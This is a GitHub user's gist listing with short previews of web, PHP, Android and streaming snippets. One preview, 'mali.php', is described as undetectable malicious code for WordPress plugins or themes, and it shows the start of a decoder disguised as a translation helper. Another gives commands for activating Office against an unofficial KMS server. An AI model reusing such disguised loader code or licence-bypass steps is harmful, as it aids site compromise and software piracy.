Skip to content

Instantly share code, notes, and snippets.

View mokoshalb's full-sized avatar
🏠
Available for freelance job

Okoya Usman mokoshalb

🏠
Available for freelance job
  • NodeTent - Web Development & IT Services Company
  • Lagos, Nigeria
View GitHub Profile
@mokoshalb
mokoshalb / twitch2m3u8.php
Created April 21, 2020 21:08
A simple PHP script to get Twitch HLS Stream by a channel name.
<?php
ob_start();
$clientId = ""; //Set your client key
// cURL function
function Curl($url, $header){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
@mokoshalb
mokoshalb / url2img.js
Created April 21, 2020 20:57
Simple, lightweight jQuery Program to get website screenshots using Google Page Insights API
//Import jQuery
var url = "https://nodetent.com/";
$.ajax({
url: 'https://www.googleapis.com/pagespeedonline/v1/runPagespeed?url=' + url + '&screenshot=true',
context: this,
type: 'GET',
dataType: 'json',
timeout: 60000,
success: function(result) {
@mokoshalb
mokoshalb / info.php
Created February 20, 2020 13:29 — forked from abhimanyu003/info.php
Server Status Check.
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Server Check</title>
<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
</head>
<body>
<div class="container">
<h1>Server Check</h1>
@mokoshalb
mokoshalb / EachDirectoryPath.md
Created September 18, 2019 22:05 — forked from granoeste/EachDirectoryPath.md
[Android] How to get the each directory path.

System directories

Method Result
Environment.getDataDirectory() /data
Environment.getDownloadCacheDirectory() /cache
Environment.getRootDirectory() /system

External storage directories

@mokoshalb
mokoshalb / Office_kms
Created July 4, 2019 05:36 — forked from CHEF-KOCH/KMS_office.cmd
KMS server Windows
cd\Program Files\Microsoft Office\Office16
cd\Program Files (x86)\Microsoft Office\Office16
cscript OSPP.VBS /sethst:kms.digiboy.ir
cscript OSPP.VBS /actcscript OSPP.VBS /dstatus
slmgr.vbs /ckms
@mokoshalb
mokoshalb / mali.php
Created May 17, 2019 11:22
PHP malicious code in wordpress plugin or theme that virustotal or security software can't detect
<?php
/**
* Helper function for translation.
*/
if (!function_exists('sanitize_context_zero')) {
function sanitize_context_zero($input) {
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
// WARNING: jquery required!
// jquery cdn: https://ajax.googleapis.com/ajax/libs/jquery/2.2.2/jquery.min.js
function detectAdblock(selector) {
return ($($(selector)[0]).css('display') == 'none');
}
function preventAdblockStyles(selector) {
$(selector).attr('style', 'display: block!important;visibility: visible!important;text-decoration: none!important;');
}
@mokoshalb
mokoshalb / ffmpeg-restream.txt
Last active May 23, 2021 14:27
Perfect FFMPEG Command For Stable Live Streaming
ffmpeg -re -i "http://example.com/live/username/password/1234.m3u8" -bsf:a aac_adtstoasc -r 30 -b:v 2048k -bufsize 2048k -maxrate 4296k -vf scale="1280:720" -vcodec libx264 -preset ultrafast -c:a copy -f flv "rtmp://freertmpserver.com/servername/keyname"
@mokoshalb
mokoshalb / .htaccess
Created August 9, 2018 12:48 — forked from voku/gist:d958041e7b1c19356e721de1eda1e6f8
.htaccess with many options + description
# Apache Server Configs v2.14 | MIT License
# https://github.com/h5bp/server-configs-apache
# (!) Using `.htaccess` files slows down Apache, therefore, if you have
# access to the main server configuration file (which is usually called
# `httpd.conf`), you should add this logic there.
#
# https://httpd.apache.org/docs/current/howto/htaccess.html.
# ----------------------------------------------------------------------
@mokoshalb
mokoshalb / links-extract.php
Created March 18, 2018 08:37
How to extract all links of any web page using PHP